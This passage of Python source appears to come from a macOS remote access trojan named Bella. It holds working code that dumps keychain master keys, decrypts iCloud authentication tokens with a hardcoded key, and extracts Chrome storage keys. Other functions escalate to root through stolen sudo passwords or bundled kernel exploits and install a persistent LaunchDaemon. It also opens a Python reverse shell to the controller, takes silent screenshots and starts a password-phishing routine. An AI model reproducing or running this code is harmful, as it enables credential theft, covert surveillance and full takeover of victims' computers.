1282 send_msg("%sRedirecting [%s] HTTPS (443) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1283 send_msg("%sRedirecting [%s] HTTP (443) to [%s:8081].\n" % (greenPlus, interface, host), False)
1284 send_msg("mitmReady", True)
1285 return
1286
1287def payload_generator(data):
1288 dirpath = tempfile.mkdtemp()
1289 with open("%s/americangirl" % dirpath, "wb") as content:
1290 content.write(data.decode('base64'))
1291 os.chmod("%s/americangirl" % dirpath, 0777) #set rw execute bits to 7 for ugw
1292 temp_file_list.append(dirpath)
1293 return '%s/americangirl' % dirpath
1294
1295def payload_cleaner():
1296 for x in temp_file_list:
1297 try:
1298 shutil.rmtree(x)
1299 #print 'Removed %s' % x
1300 temp_file_list.remove(x)
1301 except OSError as e:
1302 pass
1303
1304 return
1305
1306def chainbreaker(kcpath, key, service, password=None):
1307 kcbreaker = readDB('chainbreaker', True)
1308 if password:
1309 error = 'login password'
1310 else:
1311 error = 'master key'
1312 if not kcbreaker:
1313 return ("%sError reading chainbreaker from DB.\n" % red_minus, False)
1314 path = payload_generator(kcbreaker)
1315 try:
1316 if password:
1317 value = (subprocess.check_output("%s -f '%s' -p '%s' -s '%s'" % (path, kcpath, password, service), shell=True).replace('\n', ''), True)
1318 else:
1319 value = (subprocess.check_output("%s -f '%s' -k '%s' -s '%s'" % (path, kcpath, key, service), shell=True).replace('\n', ''), True)
1320 if '[!] ERROR: ' in value[0]:
1321 return ("Error decrypting %s with %s" % (service, error), False)
1322
1323 if value[0] == '':
1324 return ("No KC entry for %s." % service, False)
1325 return value
1326 except Exception as e:
1327 return ("Error decrypting %s with %s" % (service, error), False)
1328
1329def kciCloudHelper(iCloudKey):
1330 #this function is tailored to keychaindump. Takes an iCloud key, and returns tokens
1331 msg = base64.b64decode(iCloudKey)
1332 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1333 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1334 hexedKey = binascii.hexlify(hashed)
1335 IV = 16 * '0'
1336 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1337 for x in mme_token_file:
1338 try:
1339 int(x.split("/")[-1])
1340 mme_token_file = x
1341 except ValueError:
1342 continue
1343 send_msg("\t%sDecrypting token plist\n\t [%s]\n" % (blue_star, mme_token_file), False)
1344 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1345 from Foundation import NSData, NSPropertyListSerialization
1346 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1347 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1348 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1349 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1350 return tokz
1351
1352def getKeychains():
1353 #will return the last modified keychain
1354 send_msg("%sFound the following keychains for [%s]:\n" % (yellow_star, get_bella_user()), False)
1355 kchains = glob("/Users/%s/Library/Keychains/login.keychain*" % get_bella_user())
1356 for x in kchains:
1357 send_msg("\t[%s]\n" % x, False)
1358 if len(kchains) == 0:
1359 send_msg("%sNo Keychains found for [%s].\n" % (yellow_star, get_bella_user()), True)
1360 return
1361 kchains.sort(key=os.path.getmtime)
1362 kchain = kchains[-1] #get the last modified one
1363 #for x in kchains:
1364 # if x.endswith('-db'):
1365 # kchain = x
1366 return kchain
1367
1368def bella_info():
1369 mainString = ""
1370 send_msg("%sGathering system information.\n" % yellow_star, False)
1371 systemVersion = str(platform.mac_ver()[0])
1372 send_msg("%sSystem version is %s.\n" % (blue_star, systemVersion), False)
1373 send_msg("%sShell location: [%s].\n" % (blue_star, get_bella_path()), False)
1374 send_msg(blue_star + get_model(), False)
1375 try:
1376 battery = subprocess.check_output("pmset -g batt", shell=True).decode('utf-8', 'replace').split('\t')[1].split(";")
1377 charging = battery[1].replace(" ", "")
1378 percentage = battery[0]
1379 if charging == "charging":
1380 send_msg("%sBattery: %s [Charging]\n" % (blue_star, percentage), False)
1381 else:
1382 send_msg("%sBattery: %s [Discharging]\n" % (blue_star, percentage), False)
1383 except:
1384 pass
1385
1386 if not systemVersion.startswith("10.12"):
1387 if systemVersion == "10.11.1" or systemVersion == "10.11.2" or systemVersion == "10.11.3" or not systemVersion.startswith("10.11"):
1388 if is_there_SUID_shell(): #normal user.
1389 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1390 else:
1391 send_msg("%sPrivilege escalation is possible!\n" % blue_star, False) #LPA possible, no need to display sudoers access info.. right?
1392 else:
1393 if os.getuid() == 0:
1394 send_msg("%sBella is running as root.\n" % greenPlus, False)
1395 elif is_there_SUID_shell():
1396 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1397 else:
1398 send_msg("%sNo root access via SUID shell.\n" % red_minus, False)
1399
1400 filevault = check_output("fdesetup status")
1401 if filevault[0]:
1402 if "On" in filevault[1]:
1403 send_msg(red_minus + filevault[1], False)
1404 else:
1405 send_msg(greenPlus + filevault[1], False)
1406
1407 if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"):
1408 csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True)
1409 (out, err) = csrutil.communicate()
1410 if "disabled" in out:
1411 send_msg(greenPlus + out, False)
1412 sipEnabled = False #SIP function exists, but is specifically and intentionally disabled! (enterprise environments likely have this config)
1413 if "enabled" in out:
1414 send_msg(red_minus + out, False)
1415 sipEnabled = True
1416 else:
1417 sipEnabled = False
1418
1419 kchain = getKeychains()
1420
1421 if not sipEnabled: #sipDisabled allows us to check like .1% of cases where user is on El Cap and has opted out of SIP
1422 if is_there_SUID_shell():
1423 kcpayload = readDB('keychaindump', True)
1424 if not kcpayload:
1425 send_msg("%sError reading KCDump payload from Bella Database.\n" % red_minus, False)
1426 else:
1427 kcpath = payload_generator(kcpayload)
1428 (success, msg) = do_root("%s '%s' | grep 'Found master key:'" % (kcpath, kchain)) # ??? Why doesnt this work for tim?
1429 master_key = msg.replace("[+] Found master key: ", "").replace("\n", "")
1430 if success:
1431 send_msg(" Login keychain master key found for [%s]:\n\t[%s]\n" % (kchain.split("/")[-1], msg.replace("[+] Found master key: ", "").replace("\n", "")), False)
1432 if not readDB('mme_token'):
1433 send_msg("\t%sAttempting to generate iCloud Auth Keys.\n" % blue_star, False)
1434 iCloud = chainbreaker(kchain, master_key, 'iCloud')
1435 send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False)
1436 if iCloud[1]:
1437 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
1438 decrypted = kciCloudHelper(iCloud[0])
1439 if not decrypted:
1440 send_msg("\t%sError getting decrypted MMeAuthTokens with this key.\n" % red_minus, False)
1441 else:
1442 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
1443 updateDB(encrypt(decrypted), 'mme_token')
1444 send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False)
1445 if not readDB('chromeSS'):
1446 send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
1447 chrome = chainbreaker(kchain, master_key, 'Chrome Safe Storage')
1448 send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False)
1449 if chrome[1]:
1450 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
1451 updateDB(encrypt(chrome[0]), 'chromeSS')
1452 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
1453 else:
1454 send_msg("%sError finding %slogin%s master key for user [%s].\n\t%s\n" % (red_minus, bold, endANSI, get_bella_user(), msg), False)
1455 (success, msg) = do_root("%s '/Library/Keychains/System.keychain' | grep 'Found master key:'" % kcpath)
1456 if success:
1457 msg = msg.replace("[+] Found master key: ", "").replace("\n", "")
1458 if msg != '':
1459 send_msg("%sSystem keychain master key found:\n [%s]\n" % (greenPlus, msg), False)
1460 else:
1461 send_msg("%sCould not find %sSystem%s master key.\n" % (red_minus, bold, endANSI), False)
1462 payload_cleaner()
1463
1464 iTunesSearch = get_iTunes_accounts()
1465
1466 for x in iTunesSearch:
1467 if x[0]:
1468 send_msg("%siCloud account present [%s:%s]\n" % (greenPlus, x[2], x[1]), False)
1469 else:
1470 send_msg(red_minus + x[1], False)
1471
1472 iOSbackups = iTunes_backup_looker()
1473
1474 if iOSbackups[1]:
1475 send_msg("%siOS backups are present and ready to be processed. [%s]\n" % (greenPlus, len(iOSbackups[2])), False)
1476 else:
1477 send_msg("%sNo iOS backups are present.\n" % red_minus, False)
1478
1479 if os.access('/var/db/lockdown', os.X_OK): #if we can execute this path
1480 send_msg("%siOS lockdown files are present. [%s]\n" % (greenPlus, len(os.listdir("/var/db/lockdown")) - 1), False)
1481
1482 checkToken = tokenRead()
1483 if isinstance(checkToken, str):
1484 send_msg("%siCloud AuthToken: %s\n\t[%s]\n" % (yellow_star, checkToken.split('\n')[0], checkToken.split('\n')[1]), False)
1485
1486 checkChrome = chromeSSRead()
1487 if isinstance(checkChrome, str):
1488 send_msg("%sGoogle Chrome Safe Storage Key: \n\t[%s]\n" % (yellow_star, checkChrome), False)
1489
1490 checkLP = local_pw_read()
1491 if isinstance(checkLP, str):
1492 send_msg("%s%s's local account password is available.\n" % (yellow_star, checkLP.split(':')[0]), False) #get username
1493 if not readDB('mme_token'):
1494 send_msg("\t%sAttempting to generate iCloud Auth Keys with %s's password.\n" % (blue_star,checkLP.split(':')[0]), False)
1495 iCloud = chainbreaker(kchain, 0, 'iCloud', checkLP.split(':')[1])
1496 send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False)
1497 if iCloud[1]:
1498 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
1499 decrypted = kciCloudHelper(iCloud[0])
1500 if not decrypted:
1501 send_msg("\t%sError getting decrypted MMeAuthTokens with %s's password.\n" % (red_minus, checkLP.split(':')[0]), False)
1502 else:
1503 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
1504 updateDB(encrypt(decrypted), 'mme_token')
1505 send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False)
1506 if not readDB('chromeSS'):
1507 send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
1508 chrome = chainbreaker(kchain, 0, 'Chrome Safe Storage', checkLP.split(':')[1])
1509 send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False)
1510 if chrome[1]:
1511 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
1512 updateDB(encrypt(chrome[0]), 'chromeSS')
1513 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
1514
1515
1516 checkAP = applepwRead()
1517 if isinstance(checkAP, str):
1518 send_msg("%s%s's iCloud account password is available.\n" % (yellow_star, checkAP.split(':')[0]), False)
1519 send_msg('', True)
1520 return 1
1521
1522def recv_msg(sock):
1523 raw_msglen = recvaux(sock, 4, True) #get first four bytes of message, will be enough to represent length.
1524 if not raw_msglen:
1525 return None
1526 msglen = struct.unpack('>I', raw_msglen)[0] #convert this length into
1527 return recvaux(sock, msglen, False)
1528
1529def recvaux(sock, n, length):
1530 if length:
1531 return sock.recv(4) # send over first 4 bytes of socket ....
1532 data = ''
1533 while len(data) < n:
1534 packet = sock.recv(n - len(data))
1535 if not packet:
1536 return None
1537 data += packet
1538 return data #convert from serialized into normal.
1539
1540def make_SUID_root_binary(password, LPEpath):
1541 global ROOT_SHELL_PATH
1542 root_shell = readDB("root_shell", True)
1543 try:
1544 with open("/usr/local/roots", "w") as content:
1545 content.write(root_shell.decode('base64'))
1546 ROOT_SHELL_PATH = '/usr/local/roots'
1547 except IOError as e:
1548 if e.errno == 13 or e.errno == 2:
1549 #13 if for whatever reason we cant write to /usr/local (domain environments typically)
1550 #2 if /usr/local does not exist
1551 with open(os.environ['TMPDIR'] + 'roots', "w") as content:
1552 content.write(root_shell.decode('base64'))
1553 ROOT_SHELL_PATH = os.environ['TMPDIR'] + 'roots'
1554 else:
1555 raise e
1556
1557 if not LPEpath: #use password
1558 (username, password) = password.split(':')
1559 try:
1560 subprocess.check_output("echo %s | sudo -S ls" % password, shell=True) #this will return no error if successful
1561 except Exception as e:
1562 #send_msg('bad PW', False)
1563 remove_SUID_shell()
1564 return (False, "%sUser's local password does not give us root access! This password is incorrect, or the user is not a local admin.\n" % red_minus)
1565 try:
1566 subprocess.check_output("echo %s | sudo -S chown 0:0 %s; echo %s | sudo -S chmod 4777 %s" % (password, ROOT_SHELL_PATH, password, ROOT_SHELL_PATH), shell=True) #perform setUID on shell
1567 except Exception as e:
1568 remove_SUID_shell()
1569 return (False, "%sUser's local password gives us sudo access!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e))
1570 return (True, "%sUser's local password gives us sudo access!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
1571 else:
1572 #LPEpath should be a path to an interactive root shell (thinking mach race)
1573 fugazy = subprocess.Popen("%s root <<< '/usr/sbin/chown 0:0 %s; chmod 4777 %s'" % (LPEpath, ROOT_SHELL_PATH,ROOT_SHELL_PATH), shell=True, stdout=PIPE, stderr=PIPE)
1574 error = fugazy.stderr.read()
1575 #send_msg('Error? : [%s]' % error, False)
1576 if not error: #perform setUID on shell
1577 return (True, "%sUser is susceptible to LPE!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
1578 else:
1579 remove_SUID_shell()
1580 return (False, "%sUser is susceptible to LPE!\n%sThere was an error setting the SUID bit and escalating.\n[%s]\n" % (greenPlus, red_minus, error.replace('\n', '')))
1581
1582def migrateToRoot(rootsPath):
1583 #precondition to this function call is that a root shell exists at /usr/local/roots and that os.getuid != 0
1584 #therefore, we will not use the do_root() function, and will instead call the roots binary directly.
1585 #we do this because we want full control over what happens. The migration is a critical process
1586 #no room for error. an error could break our shell.
1587 ### in order to test this function in development, bella must be installed through the INSTALLER script generated by BUILDER
1588
1589 relativeBellaPath = '/' + '/'.join(get_bella_path().split("/")[3:])
1590
1591 if not os.path.isfile('%sbella.db' % get_bella_path()): #if we can execute this path
1592 send_msg("Migration aborted. Could not find bella.db in\n\t[%s]" % get_bella_path(), False)
1593 return
1594 if not os.path.isfile('%sBella' % get_bella_path()): #if we can execute this path
1595 send_msg("%sMigration halted. Could not find Bella binary in:\n\t[%s].\n" % (red_minus, get_bella_path()), False)
1596 return
1597 if not os.path.isfile('/Users/%s/Library/LaunchAgents/%s.plist' % (get_bella_user(), launch_agent_name)): #if we can execute this path
1598 send_msg("%sMigration halted. Could not find LaunchAgent in:\n\t[/Users/%s/Library/LaunchAgents/%s.plist].\n" % (red_minus, get_bella_user(), launch_agent_name), False)
1599 return
1600
1601 """Create new bella location in /Library"""
1602 error = Popen("%s \"mkdir -p '%s'\"" % (rootsPath, relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1603 if error != '':
1604 send_msg("%sError creating path:\n\t%s" % (red_minus, error), False)
1605 return
1606 else:
1607 send_msg("%sCreated path [%s].\n" % (blue_star, relativeBellaPath), False)
1608
1609 """Copy bella database from current helper_location to new one in /Library"""
1610 error = Popen("%s \"cp '%sbella.db' '%sbella.db'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1611 if error != '':
1612 send_msg("%sError copying Bella DB:\n\t%s" % (red_minus, error), False)
1613 return
1614 else:
1615 send_msg("%sCopied Bella DB\n\t[%sbella.db]\n\t\tto\n\t[%sbella.db].\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1616
1617 """Copy bella binary from current helper_location to new one in /Library"""
1618 error = Popen("%s \"cp '%sBella' '%sBella'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1619 if error != '':
1620 send_msg("%sError copying Bella binary:\n\t%s" % (red_minus, error), False)
1621 return
1622 else:
1623 send_msg("%sCopied Bella binary\n\t[%sBella]\n\t\tto\n\t[%sBella].\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1624
1625 """Copy bella launch_agent_name from current one to new one in /Library/LaunchDaemons"""
1626 error = Popen("%s \"cp '/Users/%s/Library/LaunchAgents/%s.plist' '/Library/LaunchDaemons/%s.plist'\"" % (rootsPath, get_bella_user(), launch_agent_name, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1627 if error != '': #cp bella db to /Library (root location)
1628 send_msg("%sError copying launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (red_minus, get_bella_user(), launch_agent_name, launch_agent_name), False)
1629 return
1630 else:
1631 send_msg("%sCopied launchagent\n\t[/Users/%s/Library/LaunchAgents/%s.plist]\n\t\tto\n\t[/Library/LaunchDaemons/%s.plist].\n" % (blue_star, get_bella_user(), launch_agent_name, launch_agent_name), False)
1632
1633 """Replace path to bella binary in the new launchDaemon"""
1634 error = Popen("%s \"sed -i \'\' -e 's@/Users/%s/Library/@/Library/@' /Library/LaunchDaemons/%s.plist\"" % (rootsPath, get_bella_user(), launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1635 if error != '':
1636 send_msg("%sError replacing LaunchDaemon in line:\n\t%s" % (red_minus, error), False)
1637 return
1638 else:
1639 send_msg("%sReplaced LaunchDaemon in line.\n" % blue_star, False)
1640
1641 """Load new LaunchDaemon and then 'delete' the server"""
1642 error = Popen("%s \"launchctl load -w /Library/LaunchDaemons/%s.plist\"" % (rootsPath, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1643 if 'service already loaded' not in error and error != '':
1644 send_msg("%sError loading LaunchDaemon:\n\t%s" % (red_minus, error), False)
1645 return
1646 else:
1647 send_msg("%sLoaded LaunchDaemon.\n" % blue_star, False)
1648
1649 send_msg("%sRemoving current server.\n" % yellow_star, False)
1650 removeServer()
1651 return
1652
1653def removeServer():
1654 subprocess_cleanup()
1655 destroyer = "rm -rf %s" % get_bella_path()
1656 if os.getuid() == 0:
1657 destroyer += "; rm -f /Library/LaunchDaemons/%s.plist" % (launch_agent_name)
1658 else:
1659 destroyer += "; rm -f /Users/%s/Library/LaunchAgents/%s.plist" % (get_bella_user(), launch_agent_name)
1660 os.system(destroyer)
1661 send_msg("Server destroyed.\n", True)
1662 unloader = "launchctl remove %s" % launch_agent_name
1663 os.system(unloader)
1664
1665def rooter(): #ROOTER MUST BE CALLED INDEPENDENTLY -- Equivalent to getsystem
1666 if os.getuid() == 0:
1667 send_msg("%sWe are already root.\n" % yellow_star, True)
1668 return
1669 else:
1670 send_msg("%sWe are not root. Attempting to root.\n" % blue_star, False)
1671
1672 sys_vers = str(platform.mac_ver()[0])
1673 if is_there_SUID_shell():
1674 migrateToRoot(ROOT_SHELL_PATH)
1675 send_msg('', True)
1676 return
1677
1678 if local_pw_read():
1679 send_msg("%sLocal PW present.\n" % greenPlus, False)
1680 ### We have a local password, let us try to use it to get a root shell ###
1681 binarymake = make_SUID_root_binary(local_pw_read(), None)
1682 send_msg(binarymake[1], False)
1683 if binarymake[0]:
1684 #updateDB('local user password', 'rootedMethod')
1685 #send_msg('', True)
1686 migrateToRoot(ROOT_SHELL_PATH)
1687 send_msg('', True)
1688 return
1689 else:
1690 send_msg("%sNo user password found.\n\t%sRun 'user_pass_phish' to phish it. It may give us root.\n\t%sRun 'update_db_entry' to manually enter this user password.\n" % (red_minus, yellow_star, yellow_star), False)
1691
1692 if sys_vers.startswith("10.8") or sys_vers.startswith("10.9") or sys_vers.startswith("10.10") or sys_vers.startswith("10.11") or sys_vers == ("10.12") or sys_vers == ("10.12.1"):
1693 #the first payload is for 10.6.x && <=10.11.4, the second is for >=10.11.5 && <=10.12.1
1694 #privilege escalation exploit credits to https://github.com/bazad/
1695 if sys_vers == ("10.11.5") or sys_vers == ("10.11.6") or sys_vers == ("10.12") or sys_vers == ("10.12.1"):
1696 payload = readDB('mach_race', True).split(' ')[1]
1697 #send_msg('Mach race >=10.11.5 ' + '\n', False)
1698 elif sys_vers.startswith("10.10"): #yosemite only because of location of mach kernel
1699 payload = readDB('mach_race', True).split(' ')[0]
1700 #send_msg('Mach race <10.11.5\n', False)
1701 else: #<=10.9
1702 payload = readDB('mach_race', True).split(' ')[2]
1703 root_escalate = payload_generator(payload)
1704 os.chmod(root_escalate, 0777)
1705 binarymake = make_SUID_root_binary(None, root_escalate)
1706 if binarymake[0]:
1707 #updateDB('local privilege escalation', 'rootedMethod')
1708 send_msg(binarymake[1], False)
1709 migrateToRoot(ROOT_SHELL_PATH)
1710 send_msg('', True)
1711 return
1712 else:
1713 send_msg(binarymake[1], True)
1714 remove_SUID_shell()
1715 return
1716
1717 send_msg("%sLocal privilege escalation not implemented for OSX %s\n" % (red_minus, sys_vers), True)
1718
1719 return
1720
1721def start_interactive_shell(shell_port):
1722 shelled = subprocess.Popen("python -c \"import sys,socket,os,pty; _,ip,port=('', '%s', '%s'); s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')\"" % (host, shell_port), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE )
1723 time.sleep(1)
1724 if shelled.poll():
1725 send_msg("%sFailed to start interactive shell.\nError: [%s]\n" % (red_minus, shelled.stderr.read().replace('\n', '')), True)
1726 else:
1727 send_msg('interactive_shell_init', True)
1728 return
1729
1730def tokenFactory(authCode):
1731 #now that we have proper b64 encoded auth code, we will attempt to get all account tokens.
1732 try:
1733 req = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
1734 req.add_header('Authorization', 'Basic %s' % authCode)
1735 req.add_header('Content-Type', 'application/xml') #for account settings it appears we cannot use json. type must be specified.
1736 req.add_header('X-MMe-Client-Info', '<iPhone6,1> <iPhone OS;9.3.2;13F69> <com.apple.AppleAccount/1.0 (com.apple.Preferences/1.0)>') #necessary header to get tokens.
1737 resp = urllib2.urlopen(req)
1738 content = resp.read()
1739 tokens = []
1740 #staple it together & call it bad weather
1741 accountInfo = []
1742 accountInfo.append(plistlib.readPlistFromString(content)["appleAccountInfo"]["fullName"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["appleId"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"])
1743
1744 try:
1745 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"])
1746 except:
1747 pass
1748 try:
1749 tokens.append(plistlib.readPlistFromString(content)["tokens"]["cloudKitToken"])
1750 except:
1751 pass
1752 try:
1753 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFAppToken"])
1754 except:
1755 pass
1756 try:
1757 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMIPToken"])
1758 except:
1759 pass
1760 try:
1761 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFToken"])
1762 except:
1763 pass
1764
1765 return (tokens, accountInfo)
1766 except Exception, e:
1767 return '%s' % e
1768
1769def tokenForce():
1770 token = tokenRead()
1771 if token != False:
1772 send_msg("%sFound already generated token!%s\n%s" % (blue_star, blue_star, token), True)
1773 return 1
1774 while True: #no token exists, begin blast
1775 ### switch out for chain breaker
1776 from Foundation import NSData, NSPropertyListSerialization
1777 ### CTRLC listener
1778 if sig_int_listener(): #user hit CTRLC, cancel.
1779 return
1780 kchain = getKeychains()
1781 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
1782 if '.'.join(platform.mac_ver()[0].split('.')[:-1]) < 10.11:
1783 if os.getuid() == 0:
1784 #we are root on yosemite or below. Get the current login window PID so we know who to launch to.
1785 login_window_PID = ''
1786 out = subprocess.Popen('ps ax'.split(), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1787 for x in out.splitlines():
1788 if 'loginwindow console' in x:
1789 login_window_PID = x.split()[0]
1790 if not login_window_PID:
1791 send_msg('%sCould not find a current login window PID.\n' % red_minus, True)
1792 return
1793 #launch to the current login window PID
1794 iCloudKey = check_output("launchctl bsexec %s security find-generic-password -ws 'iCloud' '%s'" % (login_window_PID, kchain))
1795 else:
1796 #we are normal user on yosemite or below. no security context issues. prompt for kchain.
1797 iCloudKey = check_output("security find-generic-password -ws 'iCloud' '%s'" % (kchain))
1798 else:
1799 #we are either root or normal user on el cap or above. call launchctl asuser.
1800 iCloudKey = check_output("launchctl asuser %s security find-generic-password -ws 'iCloud' '%s'" % (bella_UID, kchain))
1801
1802 if not iCloudKey[0]:
1803 if 51 == iCloudKey[2]:
1804 send_msg("%sUser clicked deny.\n" % red_minus, False)
1805 continue
1806 elif 44 == iCloudKey[2]:
1807 send_msg("%sNo iCloud Key Found!\n" % red_minus, True)
1808 return 0
1809 else:
1810 send_msg("Strange error [%s]\n" % iCloudKey[1], True)
1811 return 0
1812 iCloudKey = iCloudKey[1].replace('\n', '')
1813
1814 msg = base64.b64decode(iCloudKey)
1815 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1816 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1817 hexedKey = binascii.hexlify(hashed)
1818 IV = 16 * '0'
1819 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1820 for x in mme_token_file:
1821 try:
1822 int(x.split("/")[-1])
1823 mme_token_file = x
1824 except ValueError:
1825 continue
1826 send_msg("%sDecrypting token plist\n\t[%s]\n" % (blue_star, mme_token_file), False)
1827 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1828 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1829 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1830 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1831 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1832 logged = updateDB(encrypt(tokz.decode('utf-8').encode('ascii', 'ignore')), 'mme_token') #update the DB....
1833 send_msg(tokz, True)
1834 return 1
1835
1836def tokenRead():
1837 token = readDB('mme_token')
1838 if not token:
1839 return token
1840 return decrypt(token)
1841
1842def chromeSSRead():
1843 sskey = readDB('chromeSS')
1844 if not sskey:
1845 return sskey
1846 return decrypt(sskey)
1847
1848def local_pw_read():
1849 pw = readDB('localPass')
1850 if not pw:
1851 return pw
1852 return decrypt(pw)
1853
1854def applepwRead():
1855 pw = readDB('applePass')
1856 if not pw:
1857 return pw
1858 return decrypt(pw)
1859
1860def set_client_name(name):
1861 updateDB(name, 'client_name')
1862 return 'updated_client_name:::%s:::%sUpdated client name to [%s].\n' % (name, blue_star, name)
1863
1864def screenShot():
1865 screen = os.system("screencapture -x /tmp/screen")
1866 try:
1867 with open("/tmp/screen", "r") as shot:
1868 contents = base64.b64encode(shot.read())
1869 os.remove("/tmp/screen")
1870 return "screenCapture%s" % contents
1871 except IOError:
1872 return "screenCapture%s" % "error"
1873
1874def send_msg(msg, EOF):
1875 global bella_connection
1876 if isinstance(msg, unicode):
1877 msg = msg.encode('utf-8')
1878 final_msg = struct.pack('>I', len(msg)) + struct.pack('?', EOF) + msg
1879 bella_connection.sendall(final_msg)
1880
1881def getWifi():
1882 ssid = subprocess.Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
1883 try:
1884 value = ssid.stdout.read().split('SSID: ')[-1].split('\n')[0] + ssid.stderr.read()
1885 except Exception as e:
1886 value = "AirPort: Off"
1887 return value
1888
1889def sig_int_listener():
1890 global bella_connection
1891
1892 ### CTRLC listener
1893 bella_connection.settimeout(0.0)
1894 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
1895
1896 if recv_msg(bella_connection) == 'sigint9kill':
1897
1898 sys.stdout.flush()
1899 send_msg('terminated', True) #send back confirmation along with STDERR
1900
1901 bella_connection.settimeout(None)
1902 return True
1903 except socket.error as e: #no message, business as usual
1904 pass
1905 bella_connection.settimeout(None)
1906 return False
1907
1908def user_pass_phish():
1909 userTB = cur_GUI_user()
1910 wifiNetwork = getWifi()
1911 icon = readDB('lock_icon', True)
1912 if not icon:
1913 send_msg('Error generating lock icon, using system default.\n')
1914 path = ':System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:Actions.icns'
1915 else:
1916 path = payload_generator(icon).replace("/", ":")
1917 if os.getuid() == 0:
1918 send_msg('%sChanging permission bits to GUI user on lock icon.\n' % yellow_star, False)
1919 os.system("chown %s:%s '%s'" % (pwd.getpwnam('%s' % userTB).pw_uid, pwd.getpwnam('%s' % userTB).pw_gid, '/'.join(path.replace(':', '/').split('/')[:-1])))
1920 send_msg('%sSuccesfully changed permission bits.\n' % greenPlus, False)
1921 send_msg("Attempting to phish current GUI User [%s]\n" % userTB, False)
1922 while True:
1923 if sig_int_listener(): #user hit CTRLC, cancel.
1924 return
1925 check = local_pw_read()
1926 if isinstance(check, str):
